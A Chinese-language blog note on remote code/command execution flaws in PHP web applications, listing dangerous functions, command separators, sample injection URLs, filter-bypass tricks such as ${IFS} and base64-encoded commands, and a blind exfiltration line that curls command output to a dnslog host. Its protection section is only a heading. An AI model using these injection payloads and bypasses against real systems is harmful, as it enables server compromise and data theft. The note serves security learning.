本文最后更新于 2025-01-18,文章内容可能已经过时。

漏洞简介

RCE(remote code/command excute)为远程代码 / 命令执行

两个漏洞

如何产生

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

黑盒:特殊功能点
白盒:

常用函数

PHP 中命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
PHP 中代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

连接符

Windows

&
&&
|
||

cmd1 & cmd2 
http://web2/command_exec/win_cmd_ip.php?ip=127.0.0.1|dir

Linux

;   顺序执行
&
&&
|
||

http://43.138.171.224:11111/exec/linux_cmd_ip.php?ip=157.148.69.80;ip a;ls;pwd;cd ..;cd ..;ls;pwd

命令执行绕过

空格绕过

# 能去实现替代空格的效果
%20
%09
%0A
%00
<>
${IFS}
$IFS$1($IFS$1~9)
{cat,flag.php}
<

特殊命令绕过

cat

# 临时变量拼接
a=c;b=at;$a$b flag.php

# 空变量
c${x}at flag.php

# 转义符号
\c\a\t flag.php 

# 通配符
*	匹配任意多个字符
?   匹配一个字符
cat fl*
cat fl??????

# base64编码
`echo aWQK | base64 -d`

# 无回显的命令执行
h9hyue.dnslog.cn
curl `ls`.h9hyue.dnslog.cn

漏洞挖掘

黑盒:一般去找一些与系统(命令)交互的功能点
白盒:代码审计

web功能点
url
(关键字)特殊参数ip  port   cmd=   
api
图片

RCE 漏洞危害

执行系统命令

文件读写操作

反弹shell

控制整个服务器 

移动(横向)

CE 漏洞防护